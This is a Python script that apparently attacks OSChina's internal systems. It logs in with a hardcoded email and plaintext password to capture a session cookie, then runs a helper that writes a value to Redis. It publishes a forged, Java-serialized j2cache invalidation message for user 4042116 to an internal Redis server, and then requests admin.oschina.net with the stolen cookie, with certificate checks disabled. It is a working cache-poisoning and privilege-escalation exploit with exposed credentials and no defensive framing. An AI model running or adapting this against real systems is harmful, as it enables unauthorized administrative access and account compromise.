import http.client,ssl,urllib.parse,subprocess,sys,socket
ctx=ssl._create_unverified_context()
body=urllib.parse.urlencode({"email":"chengxinxin@oschina.cn","pwd":"12345qwert,"})
c=http.client.HTTPConnection("10.0.0.13",8081,timeout=8)
c.request("POST","/action/user/login",body=body,headers={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded"})
r=c.getresponse(); r.read(50); hd=r.getheaders(); c.close()
osc=None
for k,v in hd:
    if k.lower()=="set-cookie" and v.startswith("oscid="): osc=v.split(";")[0]
print("LOGIN",r.status,"OSC",bool(osc),flush=True)
if not osc: sys.exit(1)
res=subprocess.run(["python3","/tmp/redis_set.py",sys.argv[1],"I:4042116"],capture_output=True,text=True)
print(res.stdout.strip(),flush=True)
# publish j2cache L1 invalidation for User key 4042116
key=bytes.fromhex('aced00057372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870')+(4042116).to_bytes(8,'big',signed=True)
msg=bytes.fromhex('26974d000104005573657252000000')+key
def readresp(f):
    line=f.readline()
    if not line: return None
    t=line[:1]; rest=line[1:].rstrip(b"\r\n")
    if t==b"+": return rest
    if t==b"-": return b"ERR:"+rest
    if t==b":": return int(rest)
    if t==b"$":
        n=int(rest)
        if n<0: return None
        d=f.read(n); f.read(2); return d
    if t==b"*":
        n=int(rest)
        if n<0: return None
        return [readresp(f) for _ in range(n)]
s=socket.create_connection(("10.0.0.25",6379),timeout=8); f=s.makefile("rb")
req=b"*3\r\n$7\r\nPUBLISH\r\n$11\r\nold_oschina\r\n$%d\r\n"%len(msg)+msg+b"\r\n"
s.sendall(req); print("PUBLISH",readresp(f),flush=True); s.close()
try:
    c=http.client.HTTPSConnection("10.0.0.54",443,timeout=5,context=ctx)
    c.request("GET","/",headers={"Host":"admin.oschina.net","User-Agent":"Mozilla/5.0","Cookie":osc})
    r=c.getresponse(); d=r.read(200); print("TRIG",r.status,d[:60],flush=True); c.close()
except Exception as e:
    print("TRIG_EXC",type(e).__name__,flush=True)
